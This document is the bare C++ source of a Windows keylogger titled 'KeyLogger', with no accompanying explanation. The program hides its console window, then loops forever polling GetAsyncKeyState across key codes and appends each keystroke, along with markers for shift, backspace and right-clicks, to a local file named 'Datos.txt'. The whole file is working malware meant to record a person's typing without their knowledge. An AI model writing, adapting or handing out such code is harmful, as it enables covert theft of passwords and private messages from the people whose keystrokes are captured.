KeyLogger

#define _WIN32_WINNT 0x0500
#include <Windows.h>
#include <string>
#include <stdlib.h>
#include <stdio.h>
#include <iostream>
#include <fstream>



using namespace std;



void LOG(string input) {
    fstream LogFile;
    LogFile.open("Datos.txt", fstream::app);
    if (LogFile.is_open()) {
        LogFile << input;
        LogFile.close();
    }
}


bool SpecialKeys(int S_Key) {
    switch (S_Key) {
    case VK_SPACE:
        cout << " ";
        LOG(" ");
        return true;
    case VK_RETURN:
        cout << "\n";
        LOG("\n");
        return true;
    case '¾':
        cout << ".";
        LOG(".");
        return true;
    case VK_SHIFT:
        cout << "#SHIFT#";
        LOG("#SHIFT#");
        return true;
    case VK_BACK:
        cout << "\b";
        LOG("\b");
        return true;
    case VK_RBUTTON:
        cout << "#R_CLICK#";
        LOG("#R_CLICK#");
        return true;
    default:
        return false;
    }
}



int main()
{
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    char KEY = 'x';

    while (true) {
        Sleep(10);
        for (int KEY = 8; KEY <= 190; KEY++)
        {
            if (GetAsyncKeyState(KEY) == -32767) {
                if (SpecialKeys(KEY) == false) {

                    fstream LogFile;
                    LogFile.open("Datos.txt", fstream::app);
                    if (LogFile.is_open()) {
                        LogFile << char(KEY);
                        LogFile.close();
                    }

                }
            }
        }
    }

    return 0;
}